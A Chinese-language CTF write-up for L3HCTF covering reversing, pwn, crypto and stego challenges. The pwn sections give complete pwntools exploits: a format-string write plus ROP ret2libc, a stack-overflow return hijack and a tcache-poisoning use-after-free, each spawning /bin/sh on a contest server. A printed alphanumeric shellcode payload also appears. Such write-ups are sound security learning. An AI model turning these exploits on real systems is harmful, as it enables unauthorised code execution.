L3Hctf_Writeup
date
Mar 1, 2022
slug
l3hctf
status
Published
tags
CTF
WriteUp
summary
一种记忆唤醒。
type
Post
一个三年没有打CTF的「选手」,通常我们认为他是一个萌新。
signin
是一个ELF64的程序,典型的xor加密
其密钥没有固定,而是由运行程序时的Unix时间戳生成的,但由于其密钥是每四个字节循环的(
dword_2010B0[v6 & 3],即mod 4),并且明文的前四个字节应该为L3HC,故可以推测出密钥。
cipher_file = open('flag.enc','rb')
cipher = cipher_file.read()
key = []
flag = ''
for index in range(4):
key.append(cipher[index] ^ ord('L3HC'[index]))
for index in range(len(cipher)):
flag += chr(cipher[index] ^ key[index % 4])
print(flag)
明文为
L3HCTF{just_sign_in}ezMaze
看名字是迷宫题,自然里面也是迷宫题
其中,上下操作是
w和s,左右操作是a和d,对应坐标为这里的j和i,初始值分别为1
要求横纵坐标均为6即可通过,其中sub_11DD是判断坐标是否合法(即是否迷宫碰壁)的函数
也就是判断表达式dword_4020[j] & (1 << (7 - i))是否为零,非零则不合法。也就是就是判定dword_4020[j]的低字节的左边第i位是否为0。
每走一步后,会执行表达式dword_4020[j] |= (1 << (7 - i)),也就是将dword_4020[j]的低字节的左边第i位置为1。因此data段的内置数组dword_4020[]即为迷宫数据:
注意到此时迷宫的数据是走不通的,因为忽略了程序开头对迷宫的预处理:





for(int i = 0; i < 8; ++i)
{
dword_4020[i] = ~ (i ^ dword_4020[i]);
}
因此实际的迷宫为
11111111
10010001
11000101
11011111
10010001
10110101
10000101
11111111
可以看出路径为dsssassdddwwddss,即为flag。
virtual
运行程序后没有任何输出而是直接等待用户输入,打开IDA的Strings窗口并看到了
std::cin:
因此查找对其的reference从而定位main函数:
首先注意到其中包含花指令:
这里的花指令较为简单,直接Undefine并将其assemble为nop即可去除干净:
去除花指令并进行Create function,并且可以使用decompiler了,并且简单为伪代码写上注释:
不难看出最后一段是异或加密。在此之前,程序通过修改后的虚表执行了函数sub_401300,参数为用户输入的字符串和用malloc分配的一块空间v6。
进入到sub_401300,可以看到首先对一些常量进行初始化,然后调用函数sub_401150进行处理:





猜想会是某种Hash函数或者是编码。事实上,简单调试就可以看到初始化的结果
ABCDEFGHIJKLMNOPQRSTUVWXYZ012345678abcdefghijklmnopqrstuvwxyz9+/
这正是(魔改后)的base64的字符表。粗略看一下sub_401150也符合base64的算法特征。因此用IDAPython提取出异或加密的密文并解密
address = 0x40505c
key = 68
result = ''
for index in range(52):
result += chr(Byte(address + index) ^ key)
print(result)
直接在IDA得出明文为
TDNIQsRG4sbn5V9dMHVlZF9r8DN36qNa6dVrXqBdXrIrNUUtNHr=。考虑到这是魔改的base64,直接从网上抄一个base64的实现并修改其字符表。比较奇怪的是这样操作后其解码内容会带乱码:
干脆写脚本暴力猜出flag:
str = ['L3HCTF{Y0', '_f0und_t', '3_', '3c','et_0f_B45E64}']
for s1 in ['u', 'U']:
for s2 in ['h', 'H']:
for s3 in ['5', 's', 'S']:
for s4 in ['R', 'r']:
print(str[0] + s1 + str[1] + s2 + str[2] + s3 + str[3] + s4 + str[4])

hellopwn
checksec:
[*] '/home/admin/hellopwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
ida64:
一眼看到一个格式化字符串漏洞。然后如果flag不为0则会在函数
vuln中触发一个栈溢出。因此首先利用格式化字符串实现一个任意地址写,然后利用栈溢出漏洞;由于此题没有给libc,首先需要判断libc版本;获得libc后就可以用one_gadget或者修改got表之类的办法get shell了。
首先可以快速判定出buf对应格式化字符串的第6个(void*)参数:
注意到flag的地址0x601090pack后包含\x00,因此构造第一步输入的字符串为b'AAAA%7$n' + pack(0x601090)。
第二步,获取libc版本,一种方法是用pwntools的DynELF功能,一种方法是泄露libc函数的地址去libc database之类的地方搜索对应的版本。这里选择后一种方法,选择puts函数泄露puts和read两个函数的地址,构造Exploit如下。

from pwn import *
context(arch='amd64')
f = ELF('./hellopwn')
sh = remote('119.45.112.147', 20000)
# sh = process('./hellopwn')
sh.recvuntil(b"what's your name?\n")
fmts = b'AAAA%7$n' + pack(0x601090)
sh.send(fmts)
sh.recvuntil(b'\x60')
puts_got = f.got['puts']
read_got = f.got['read']
r = ROP(f)
r.raw(b'a' * (0x78))
r.call('puts', [puts_got])
r.call('puts', [read_got])
sh.send(bytes(r))
puts_addr = unpack(sh.recvuntil(b'\n')[:8].ljust(8, b'\x00'))
read_addr = unpack(sh.recvuntil(b'\n')[:8].ljust(8, b'\x00'))
log.success('The address of puts is: %s' % hex(puts_addr))
log.success('The address of read is: %s' % hex(read_addr))
运行结果如下:
根据泄露出的
puts和read两个函数的地址,找到远程服务器的libc:
第三步,泄露libc基地址并执行system("/bin/sh“)。即利用两次vuln函数,第一次泄露libc的基地址,然后计算出system函数和字符串/bin/sh的地址。第二次即可get shell。Exploit如下:

from pwn import *
context(arch='amd64')
f = ELF('./hellopwn')
libc = ELF('libc6_2.23-0ubuntu11.3_amd64.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
sh = remote('119.45.112.147', 20000)
# sh = process('./hellopwn')
sh.recvuntil(b"what's your name?\n")
fmts = b'%41$pxxxxxxx%8$n' + pack(0x601090)
# this time we use fmt string to leak stack address
sh.send(fmts)
sh.recvuntil(b'hello,0x')
stack_address = int(sh.recv(12), 16)
log.success('Stack address is %s ' % hex(stack_address))
sh.recvuntil(b'\x60')
puts_got = f.got['puts']
read_got = f.got['read']
r = ROP(f)
r.raw(b'a' * (0x70))
r.raw(pack(stack_address))
# new place for stack frame
r.call('puts', [puts_got])
r.call('vuln', [])
sh.send(bytes(r))
puts_addr = unpack(sh.recvuntil(b'\n')[:6].ljust(8, b'\x00'))
log.success('The address of puts is: %s' % hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
log.success('libc base address is %s' % hex(libc_base))
binsh_addr = next(libc.search(b'/bin/sh')) + libc_base
r = ROP(f)
r.raw(b'a' * (0x78))
r.call(libc.symbols['system'] + libc_base, [binsh_addr])
sh.send(bytes(r))
sh.interactive()

easystack
签到题,修改返回地址为
look_here即可。

from pwn import *
context.clear(arch='amd64')
sh = remote('119.45.112.147', 20002)
payload = b'A' * 0x18 + pack(0x4005B6)
sh.sendline(payload)
sh.interactive()
icecream
checksec,发现保护全开:

所以修改got表的方法就不能用了。运行一下,是一个典型的堆块分配和管理程序:

逆向后发现主要的漏洞是delete一个chunk后没有将其标记为free,导致UAF。

因此,主要的思路是通过堆漏洞泄露libc地址,然后用任意地址写修改
__free_hook为one_gadget或者system函数的地址。具体到这题的libc版本为2.27,因此后者可以借助tcache poisoning技术轻松实现任意地址写;而前者仍然用经典的unsorted bin attack来泄露main_arena地址,只不过需要先将tcache填满才能分配small bin chunk后将其free到unsorted bin中。
首先,在本地进行调试并获得泄露地址与libc对象的偏移。具体操作是分配8个足够大的chunk,free7个,然后free剩下的一个与top chunk不相邻的chunk:
可以在IDA中看到这个位于unsorted bin的chunk的fd字段为地址0x7f32a8cf7ca0,对应main_arena + 0x60,也就是__malloc_hook + 0x70。这样就可以构造出exploit了,具体方法为进行上述操作,打印free的unsorted bin chunk获得泄露地址并计算出libc的基地址,计算出__free_hook的地址和system函数的地址,使用tcache poisoning修改__free_hook的值为system地址,分配一个新chunk并写入字符串/bin/sh。此时对其进行free操作即相当于执行system('/bin/sh')。Exploit如下:
from pwn import *
context.clear(arch='amd64')
isremote = True
if isremote:
sh = remote('119.45.112.147', 20001)
libc = ELF('./libc-2.27.so')
else:
sh = process('./icecream')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
# f = ELF('./icecream')
def add(num):
sh.recvuntil(b'5.exit\n')
# sh.recvline()
sh.sendline(b'1')
sh.recvline()
sh.sendline(str(num))
def delete(index):
sh.recvuntil(b'5.exit\n')
sh.sendline(b'2')
sh.recvuntil(b'want to delete?\n')
sh.sendline(str(index))
def view(index):
sh.recvuntil(b'5.exit\n')
sh.sendline(b'3')
sh.recvuntil(b'want to view?\n')
sh.sendline(str(index))
return sh.recvuntil(b'Your choice:')
def edit(index, content):
sh.recvuntil(b'5.exit\n')
sh.sendline(b'4')
sh.recvuntil(b'want to edit?\n')
sh.sendline(str(index))
sh.recvline()
sh.send(content)
for _ in range(8):
add(200)
for i in range(1, 8):
delete(i)
delete(0)
leaked_addr = unpack(view(0)[:6].ljust(8, b'\x00'))
if isremote:
main_arena_address = leaked_addr - 0x60
malloc_hook_addr = main_arena_address - 0x10
libc_base = malloc_hook_addr - 0x3ebc30
else:
malloc_hook_addr = leaked_addr - 0x70
libc_base = malloc_hook_addr - 0x1ebb70
log.success('libc base address is %s', hex(libc_base))
free_hook_addr = libc_base + libc.symbols['__free_hook']
add(20)
delete(8)
edit(8, pack(free_hook_addr))
add(20)
add(20)
system_addr = libc_base + libc.symbols['system']
edit(10, pack(system_addr))
add(100)
edit(11, b'/bin/sh\x00')
delete(11)
sh.interactive()

shellcode
要求shellcode的每个byte不能小于31。
从网上找了一个纯字符数字的shellcode

PYj0X40PPPPQPaJRX4Dj0YIIIII0DN0RX502A05r9sOPTY01A01RX500D05cFZBPTY01SX540D05ZFXbPTYA01A01SX50A005XnRYPSX5AA005nnCXPSX5AA005plbXPTYA01Tx

babyrsa
观察加密代码,其对RSA算法的实现没有什么问题,但是选择的公钥e异常地大,所以肯定是那几种常见的针对RSA的攻击方法之一。直接用CTF-RSA-Tool即可秒解:
可以看出使用的是Wiener攻击。

Sign-in
签到题。
kannade
直接扔到StegSolve里,在Blue plane里看到条形码,扫描之即可。
